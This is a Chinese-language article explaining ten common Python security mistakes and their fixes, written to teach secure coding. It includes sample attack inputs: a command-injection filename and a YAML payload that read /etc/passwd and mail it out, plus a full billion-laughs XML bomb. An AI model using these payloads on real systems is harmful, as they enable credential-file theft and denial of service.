详细总结Python常见的安全问题

一、输入注入

注入攻击非常广泛而且很常见，注入有很多种类，它们影响所有的语言、框架和环境。

sql 注入是直接编写 sql 查询（而非使用 orm） 时将字符串字面量与变量混合。可以通过
这个链接查看 sql 注入所有可能发生的复杂方式。

命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生，当调用本地命令时，有人可能会将某些值设置为恶意值。

下面是个简单的脚本，使用用户提供的文件名调用子进程：

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=true)  # a bad idea!

攻击者会将 filename 的值设置为“; cat / etc / passwd | mail [e-mail] 或者其他同样危险的东西。

修复：

如果你使用了 web 框架，可以用附带的实用程序对输入进行清理，除非有充分的理由，否则不要手动构建 sql 查询，大多数 orm 都具有内置的消毒方法。

对于 shell，可以使用 shlex 模块正确地转义输入。

二、assert 语句（assert statements）

不要使用 assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

现在，默认情况下，python 以 __debug__ 为 true 来执行脚本，但在生产环境中，通常使用优化运行，这将会跳过 assert 语句并直接转到安全代码，而不管用户是否是 is_admin。

修复：

仅在与其他开发人员进行通信时使用 assert 语句，例如在单元测试中或为了防止不正确的 api 使用。

三、计时攻击（timing attacks）

计时攻击本质上是一种通过计时比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性，所以通常不能用于高延迟的远程网络。由于大多数 web 应用程序涉及可变延迟，因此几乎不可能在 http web 服务器上编写计时攻击。

但是，如果你有提示输入密码的命令行应用程序，则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

修复：

使用在 python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。

四、临时文件（temporary files）

要在 python 中创建临时文件，通常使用 mktemp() 函数生成一个文件名，然后使用该名称创建一个文件。 这是不安全的，因为另一个进程可能会在调用 mktemp() 和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确的方法，则最新版本的 python 会抛出运行警告。

修复：

如果需要生成临时文件，请使用 tempfile 模块并使用 mkstemp。

五、使用 yaml.load

引用 pyyaml 文档：

警告：使用从不可信源接收到的数据来调用 yaml.load 是不安全的！ yaml.load 和pickle.load 一样强大，所以可以调用任何 python 函数。

在流行的 python 项目 ansible 中这个例子，你可以将此值作为（有效）yaml 提供给 ansible vault，它使用文件中提供的参数调用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以，从用户提供的值中有效地加载 yaml 文件会让应用对攻击打开大门。

修复：

总是不优先使用 yaml.safe_load，除非你有一个非常好的理由。

六、解析 xml（parsing xml）

如果你的应用程序要加载、解析 xml 文件，则你可能正在使用 xml 标准库模块。通过 xml 的攻击大多是 dos 风格（旨在使系统崩溃而不是泄露数据），这些攻击十分常见，特别是在解析外部（即不可信任的）xml 文件时。

其中有个「billion laughs」，因为他的 payload 通常包含很多（十亿）「lols」。基本上，这个原理是可以在 xml 中使用参照实体，所以当解析器将这个 xml 文件加载到内存中时，它会消耗数 g 大小的内存（ram）。

<?xml version="1.0"?>
<!doctype lolz [
  <!entity lol "lol">
  <!entity lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!entity lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!entity lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!entity lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!entity lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!entity lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!entity lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!entity lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一些攻击使用外部实体扩展。xml 支持从外部 url 引用实体，xml解析器通常会毫无疑问地获取并加载该资源。攻击者可以规避防火墙并访问受限制的资源，因为所有请求都是由内部可信的 ip 地址创建的，而不是来自外部。

需要考虑的另一种情况是依赖的第三方软件包需要解码 xml ，例如配置文件、远程 api。你甚至可能不知道某个依赖关系会将这些类型的攻击置之不理。

修复：

使用 defusedxml 替换标准库模块，它增加了针对这些类型攻击的安全防护。

七、受污染的 site-packages 或 import 路径

python 的 import 系统非常灵活，当你想要为测试写补丁或重载核心功能时，这是非常棒的。

但这却是 python 中最大的安全漏洞之一。

安装第三方软件包，无论是在虚拟环境中还是全局（通常不鼓励）都会让你看到这些软件包中的安全漏洞。有一些发布到 pypi 的软件包与流行的软件包具有相似的名称，但是却执行了任意代码。

需要考虑的另一种情况是依赖的依赖，他们可能包含漏洞，他们也可以通过导入系统覆盖python 中的默认行为。

修复：

看看 http://pyup.io 及其安全服务，为所有应用程序使用虚拟环境，并确保全局的 site-packages 尽可能干净，检查包签名。

八、序列化 pickles

反序列化 pickle 数据和 yaml 一样糟糕。python 类可以声明一个 __reduce__ 方法，该方法返回一个字符串，或一个可调用的元组以及使用 pickle 序列化时调用的参数。攻击者可以使用它来包含对其中一个子进程模块的引用，以在主机上运行任意命令。

修复：

切勿使用 pickle 反序列化不受信任或未经身份验证来源的数据。改用另一种序列化模式（如json）。

九、使用系统 python 运行时并且不修复它

大多数 posix 系统都自带有一个 python 2 版本（通常是旧版本）。

有时候 python（即 cpython 是用 c 语言编写的） 解释器本身存在漏洞， c 中的常见安全问题与内存分配有关，所以大多是缓冲区溢出错误，cpython 多年来一直存在一些溢出漏洞，每个漏洞都在后续版本中进行了修复。也就是说，如果及时升级 python 运行时，就很安全。

修复：

为生产应用程序安装最新版本的 python，并及时安装修复更新！

十、不修复依赖关系

类似于不修补 python 运行时，还需要定期修补依赖关系。

修复：

使用像 pyup.io 这样的服务来检查更新，向应用程序提出 pr，并运行测试以保持软件包是最新的。

到此这篇关于详细总结python常见的安全问题的文章就介绍到这了,更多相关python安全问题内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持！